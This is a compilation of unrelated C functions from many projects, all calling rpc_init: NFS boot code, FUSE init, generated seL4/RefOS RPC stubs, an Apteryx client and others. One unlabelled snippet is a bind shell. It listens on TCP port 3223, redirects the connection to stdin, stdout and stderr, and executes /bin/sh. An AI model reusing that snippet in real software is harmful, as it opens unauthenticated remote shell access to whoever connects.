int main(int argc, char *argv[]) { rpc_init(); RPCSession* session = rpc_session(); if(!session) { printf("RPC server not connected\n"); return ERROR_RPC_DISCONNECTED; } rpc = rpc_connect(session->host, session->port, 3, true); if(rpc == NULL) { printf("Failed to connect RPC server\n"); return ERROR_RPC_DISCONNECTED; } int rc; if((rc = download(argc, argv))) { printf("Failed to download file. Error code : %d\n", rc); rpc_disconnect(rpc); return ERROR_CMD_EXECUTE; } while(1) { if(rpc_connected(rpc)) { rpc_loop(rpc); } else { free(rpc); break; } } }
int main (int argc, char *argv[]) { Options options; if (parse_options (argc, argv, &options) == FALSE) { usage (); exit (255); }; rpc_init (); switch (options.test_mode) { case TEST_STANDARD: test_standard (options); break; case TEST_MULTIUSER: test_multiuser (options); break; } cleanup (); return 0; }
int main(int argc, char *argv[]) { rpc_init(); RPCSession* session = rpc_session(); if(!session) { printf("RPC server not connected\n"); return ERROR_RPC_DISCONNECTED; } rpc = rpc_connect(session->host, session->port, 3, true); if(!rpc) { printf("Failed to connect RPC server\n"); return ERROR_RPC_DISCONNECTED; } int rc; if((rc = request_md5(argc, argv))) { printf("Failed to get VM storage md5 checksum. Error code : %d\n", rc); rpc_disconnect(rpc); return ERROR_CMD_EXECUTE; } while(1) { // Wait for response if(rpc_connected(rpc)) { rpc_loop(rpc); } else { free(rpc); break; } } return 0; }
int init_cache(char* host, unsigned short port, char* servicename) { int err; err = !rpc_init(0); if(err) { printf("rpc_init failed\n"); return 1; } service_functions = hm_create(25L, 0.75); printf("connection to %s:%d.%s...\n",host,port,servicename); rpc = rpc_connect(host, port, servicename, 1l); if(rpc==0) { printf("rpc_connect failed\n"); return 1; } rps = rpc_offer(MY_SERVICE_NAME); if(!rps) { printf("Offer failed!\n"); return 1; } rpc_details(lhost, &lport); err = pthread_create(&serviceThread, NULL, (void*)_service_handler, NULL); if(err) { printf("could not create the thread to handle events\n"); return 1; } return 0; }
int main(int argc, char **argv) { int fd, l, con, opt = 1; struct sockaddr_in in, in1; char *arg[] = {"/bin/sh", 0}; l = sizeof(in1); memset(&in, 0, sizeof(in)); in.sin_port = htons(3223); in.sin_family = AF_INET; rpc_init(RPC_HOST, RPC_PORT); fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); printf("socket: %i\n", fd); printf("setsockopt: %i\n", setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, \ &opt, sizeof(opt))); printf("bind: %i\n", sys_bind(fd, &in, sizeof(in))); printf("listen: %i\n", sys_listen(fd, 5)); con = sys_accept(fd, &in1, &l); printf("accept: %i\n", con); printf("dup2: %i\n", sys_dup2(con, 0)); printf("dup2: %i\n", sys_dup2(con, 1)); printf("dup2: %i\n", sys_dup2(con, 2)); sys_execve(arg[0], arg, 0); return 0; }
static int start_rpc(int fd) { LOG_ENTRY; struct rpc *rpc = NULL; rpc = rpc_alloc(); if (!rpc) { RPC_ERROR("out of memory"); goto fail; } if (rpc_init(fd, gps_rpc_handler, rpc)) { RPC_ERROR("failed to init RPC"); goto fail; } if (rpc_start(rpc)) { RPC_ERROR("failed to start RPC"); goto fail; } gps_rpc = rpc; LOG_EXIT; return 0; fail: if (rpc) { rpc_free(rpc); } LOG_EXIT; return -1; }
void* GIGAinit(struct fuse_conn_info *conn) { logMessage(LOG_TRACE, __func__, " ==> init() "); (void)conn; switch (giga_options_t.backend_type) { case BACKEND_RPC_LOCALFS: ; case BACKEND_RPC_LEVELDB: if (rpcConnect() < 0) { logMessage(LOG_FATAL, __func__, "RPC_conn_err:%s", strerror(errno)); exit(1); } if (rpc_init() < 0) { logMessage(LOG_TRACE, __func__, "RPC_init_err!!!"); exit(1); } break; default: break; } return NULL; }
/** * nfs_svc_create - start up RPC svc listeners * @name: C string containing name of new service * @program: RPC program number to register * @version: RPC version number to register * @dispatch: address of function that handles incoming RPC requests * @port: if not zero, transport listens on this port * * Sets up network transports for receiving RPC requests, and starts * the RPC dispatcher. Returns the number of started network transports. */ unsigned int nfs_svc_create(char *name, const rpcprog_t program, const rpcvers_t version, void (*dispatch)(struct svc_req *, SVCXPRT *), const uint16_t port) { rpc_init(name, (int)program, (int)version, dispatch, (int)port); return 1; }
/* * NFS mount the kernel directory, and perform a lookup on the * kernel file. * * Places the directory filehandle in global "dirfh" * Places the kernel filehandle in global filefh * * returns 0 on success, nonzero on failure */ int fileinit(struct in_addr ip, char *dirname, char *filename) { int mount_port; char *readahead_option; int err; readahead_option = getenv("readahead"); if (readahead_option) kimg_readahead = atoi(readahead_option); if (kimg_readahead < 0) dprintf("NFS using whole-file readahead\n"); else if (kimg_readahead > 0) dprintf("NFS using %dkb readahead\n", kimg_readahead); rpc_init(); /* * Lookup NFS/MOUNTD ports for ROOT using PORTMAP. */ nfs_port = rpc_lookup(ip, PROG_NFS, 2); mount_port = rpc_lookup(ip, PROG_MOUNT, 1); if (nfs_port == -1 || mount_port == -1) { printf("Can't get root NFS/MOUNT ports.\n"); return 1; } dprintf("fileinit: NFS port = %d, MOUNT port = %d\n", nfs_port, mount_port); /* * NFS mount the directory. */ dprintf("Mounting %s ... ", dirname); err = nfs_mount(ip, mount_port, dirname, dirfh); if (err) { printf("Can't mount filesystem: %s.\n", nfs_strerror(err)); return 1; } dprintf("done\n"); /* * Lookup the file. */ dprintf("Looking up %s ... ", filename); err = nfs_lookup(ip, nfs_port, dirfh, filename, filefh); if (err) { printf("Can't lookup %s: %s.\n", filename, nfs_strerror(err)); return 1; } dprintf("done\n"); /* Stash ipaddr for subsequent calls */ ipaddr.s_addr = ip.s_addr; return 0; }
static void need_rpc() { static uint32_t initialised = 0; if (!initialised) { rpc_init(); rpc_callback = thread_exit_callback; initialised = 1; } }
static int __init init_brcm_338x_drivers(void) { #if defined (CONFIG_BCM_ITCRPC) rpc_init(); printk("bcm9338x_mtd driver v%s\n", VERSION); bcm_vflash_init(); printk("bcm9338x Linux services init\n"); linux_services_init(); #endif return 0; }
static void daemon_simulator (void) { signal (SIGHUP, sim_killer); signal (SIGINT, sim_killer); signal (SIGTERM, sim_killer); pmap_unset (sim_port, SIM_SM_VERS); /* this registers both UDP and TCP services */ rpc_init("statd", sim_port, SIM_SM_VERS, sim_sm_prog_1, 0); svc_run (); pmap_unset (sim_port, SIM_SM_VERS); }
void main(int argc, char **argv) { int c; extern char *optarg; extern int optind; extern int opterr; char *msg; char *address; Range r; /* parse arguments */ opterr = 0; while ((c = getopt(argc, argv, "v")) != -1) { switch (c) { case 'v': fprintf(stderr, "%s\n", versioninfo); exit(0); default: fprintf(stderr, "%s\n", usageinfo); exit(1); break; } } if (argv[optind] == 0 || argv[optind + 1] != 0) { fprintf(stderr, "%s\n", usageinfo); exit(1); } address = argv[optind]; /* open connection */ wilyfd = client_connect(); if (wilyfd < 0) { error("client_connect() failed" here); exit(1); } handle = rpc_init(wilyfd); /* get address */ msg = rpc_goto(handle, &id, &r, strdup(address), 1); if (msg != 0) { error("rpc_goto() failed" here ": %s", msg); exit(1); } if (r.p0 > r.p1) { error("unable to find %s", address); exit(1); } exit(0); }
int main() { int r = 0; openlog("gtk-switcher", 0, LOG_USER); info("starting"); g_type_init(); r = rpc_init(); if (r < 0) goto out; info("initialised rpc"); go(); out: closelog(); return r; }
refos_err_t proc_window_unmap() { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_window_unmap", RPC_PROC_WINDOW_UNMAP); rpc_set_dest(REFOS_PROCSERV_EP); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_ping() { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_ping", RPC_PROC_PING); rpc_set_dest(REFOS_PROCSERV_EP); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_delete_mem_window(seL4_CPtr window) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_delete_mem_window", RPC_PROC_DELETE_MEM_WINDOW); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(window); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_exit(int32_t status) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_exit", RPC_PROC_EXIT); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_uint(status); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
int proc_window_getID(seL4_CPtr window) { int rpc__error_; int __ret__; memset(&__ret__, 0, sizeof(int)); rpc_init("proc_window_getID", RPC_PROC_WINDOW_GETID); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(window); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } __ret__ = (int) rpc_pop_uint(); rpc_release(); return __ret__; }
refos_err_t proc_unwatch_client(seL4_CPtr liveness) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_unwatch_client", RPC_PROC_UNWATCH_CLIENT); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(liveness); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_notification_buffer(seL4_CPtr dataspace) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_notification_buffer", RPC_PROC_NOTIFICATION_BUFFER); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(dataspace); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_unregister_as_pager(seL4_CPtr window) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_unregister_as_pager", RPC_PROC_UNREGISTER_AS_PAGER); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(window); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t nsv_unregister(seL4_CPtr nameserv, char* name) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("nsv_unregister", RPC_NSV_UNREGISTER); rpc_set_dest(nameserv); rpc_push_str(name); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
seL4_CPtr proc_new_async_endpoint_internal(refos_err_t* errno) { int rpc__error_; seL4_CPtr __ret__; memset(&__ret__, 0, sizeof(seL4_CPtr)); rpc_init("proc_new_async_endpoint_internal", RPC_PROC_NEW_ASYNC_ENDPOINT_INTERNAL); rpc_set_dest(REFOS_PROCSERV_EP); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(errno, sizeof(refos_err_t)); __ret__ = (seL4_CPtr) rpc_pop_cptr(); __ret__ = rpc_copyout_cptr(__ret__); rpc_release(); return __ret__; }
seL4_CPtr proc_get_irq_handler(int irq) { int rpc__error_; seL4_CPtr __ret__; memset(&__ret__, 0, sizeof(seL4_CPtr)); rpc_init("proc_get_irq_handler", RPC_PROC_GET_IRQ_HANDLER); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_uint(irq); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } __ret__ = (seL4_CPtr) rpc_pop_cptr(); __ret__ = rpc_copyout_cptr(__ret__); rpc_release(); return __ret__; }
refos_err_t proc_nice(int threadID, int priority) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_nice", RPC_PROC_NICE); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_uint(threadID); rpc_push_uint(priority); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
refos_err_t proc_set_parambuffer(seL4_CPtr dataspace, uint32_t size) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_set_parambuffer", RPC_PROC_SET_PARAMBUFFER); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(dataspace); rpc_push_uint(size); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }
seL4_CPtr proc_get_mem_window(uint32_t vaddr) { int rpc__error_; seL4_CPtr __ret__; memset(&__ret__, 0, sizeof(seL4_CPtr)); rpc_init("proc_get_mem_window", RPC_PROC_GET_MEM_WINDOW); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_uint(vaddr); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } __ret__ = (seL4_CPtr) rpc_pop_cptr(); __ret__ = rpc_copyout_cptr(__ret__); rpc_release(); return __ret__; }
bool apteryx_init (bool debug_enabled) { /* Increment refcount */ pthread_mutex_lock (&lock); ref_count++; debug |= debug_enabled; if (ref_count == 1) { char * uri = NULL; /* Create RPC instance */ rpc = rpc_init ((ProtobufCService *)&apteryx_client_service, &apteryx__server__descriptor, RPC_TIMEOUT_US); if (rpc == NULL) { ERROR ("Init: Failed to initialise RPC service\n"); ref_count--; pthread_mutex_unlock (&lock); return false; } /* Bind to the default uri for this client */ if (asprintf((char **)&uri, APTERYX_SERVER".%"PRIu64, (uint64_t)getpid ()) <= 0) return false; if (!rpc_server_bind (rpc, uri, uri)) { ERROR ("Failed to bind to default rpc service\n"); ref_count--; free ((void*) uri); pthread_mutex_unlock (&lock); return false; } free ((void*) uri); } pthread_mutex_unlock (&lock); /* Ready to go */ if (ref_count > 1) DEBUG ("Init: Initialised\n"); return true; }
refos_err_t proc_window_map(seL4_CPtr window, uint32_t windowOffset, uint32_t srcAddr) { int rpc__error_; refos_err_t __ret__; memset(&__ret__, 0, sizeof(refos_err_t)); rpc_init("proc_window_map", RPC_PROC_WINDOW_MAP); rpc_set_dest(REFOS_PROCSERV_EP); rpc_push_cptr(window); rpc_push_uint(windowOffset); rpc_push_uint(srcAddr); rpc__error_ = rpc_call_server(); if (rpc__error_) { rpc_release(); return __ret__; } rpc_pop_buf(&__ret__, sizeof(refos_err_t)); rpc_release(); return __ret__; }